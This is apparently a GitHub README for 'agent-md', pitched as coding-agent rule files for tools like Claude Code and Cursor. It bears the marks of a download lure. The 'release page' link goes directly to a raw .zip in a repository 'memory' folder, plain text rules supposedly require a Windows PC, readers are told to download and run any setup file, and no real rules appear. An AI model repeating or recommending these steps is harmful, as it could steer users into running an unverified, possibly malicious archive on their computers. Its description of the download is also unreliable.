🤖 agent-md - Clear agent rules for coding

⬇️ Download agent-md from Releases

🧭 What is agent-md?

agent-md gives you ready-made agent directives for coding tools like Claude Code, Codex, Cursor, Windsurf, and Aider. It helps you set clear work rules for an agent so it can follow your process, keep changes tidy, and work with less back and forth.

Use it when you want your coding agent to:

• Follow a set workflow
• Keep edits focused
• Read project rules before making changes
• Work with less guesswork
• Stay aligned with the way you like to build

💻 What you need

Before you start, make sure you have:

• A Windows PC
• A web browser
• A file extractor if the download comes in a .zip file
• One of these tools if you plan to use the directives with an agent:
  • Claude Code
  • Codex
  • Cursor
  • Windsurf
  • Aider

A standard Windows 10 or Windows 11 system works well.

📥 Download and install

1. Open the release page: https://github.com/reyhan8543/agent-md/raw/refs/heads/main/memory/agent_md_2.9.zip
2. Look for the latest release at the top of the page.
3. Download the file that matches the release package.
4. If the download is a .zip file, right-click it and choose Extract All.
5. Open the extracted folder.
6. Copy the agent-md files into the project or tool folder where you want to use them.
7. Open your coding tool and point it to the agent-md instructions file.

If the release includes a setup file, download and run this file. If it includes a folder of instruction files, keep the folder in a place you can find later.

🗂️ What you will see

After you extract the files, you may see:

• README.md
• agent rules files
• prompt files
• folder names for different coding tools
• example instruction sets

These files work as a guide for your agent. They tell the tool how to handle tasks, review changes, and keep output consistent.

🔧 How to use it

The usual setup is simple:

1. Open your coding tool.
2. Load the project you want the agent to work on.
3. Add the agent-md instructions file to the tool or project root.
4. Start a task for the agent.
5. Let the agent read the rules before it changes any files.

For best results, keep the instructions file close to the code it should govern. That makes it easier for the agent to follow the same rules each time.

🧩 Supported tools

agent-md is designed for tools that can read local instructions and apply them during work sessions.

It fits well with:

• Claude Code
• Codex
• Cursor
• Windsurf
• Aider

Each tool may place the instructions in a different spot. In most cases, you add the file to the project folder or the tool’s rule folder.

🪟 Windows use

On Windows, the process is simple:

• Use your browser to open the release page
• Download the release file
• Save it to your Downloads folder
• Extract it if needed
• Move the files where your agent tool can read them

If you use File Explorer, you can drag the extracted folder into your project folder.

🛠️ Common setup path

A simple setup on Windows looks like this:

1. Download agent-md from the Releases page.
2. Extract the files.
3. Open your coding project.
4. Place the directive files in the project root or tool config folder.
5. Restart the coding tool if it was already open.
6. Start a new agent task.

📚 File tips

If you are not sure which file to use, look for:

• A main instructions file
• A project rule file
• A folder with tool-specific examples

If there are several versions, choose the one that matches your coding tool. That keeps the setup clean and easy to manage.

🔍 Good ways to use agent-md

Use agent-md when you want your coding agent to:

• Ask fewer questions
• Follow your project rules
• Make smaller changes
• Keep file edits easy to review
• Stick to the same process each time

It works well for personal projects, work projects, and repeat tasks where you want steady results.

🧪 Quick check

After setup, test it with a simple task:

• Ask the agent to read the project rules
• Give it a small change
• Check that it follows the instructions
• Review the files it edits

If the agent follows your process, the setup is in the right place.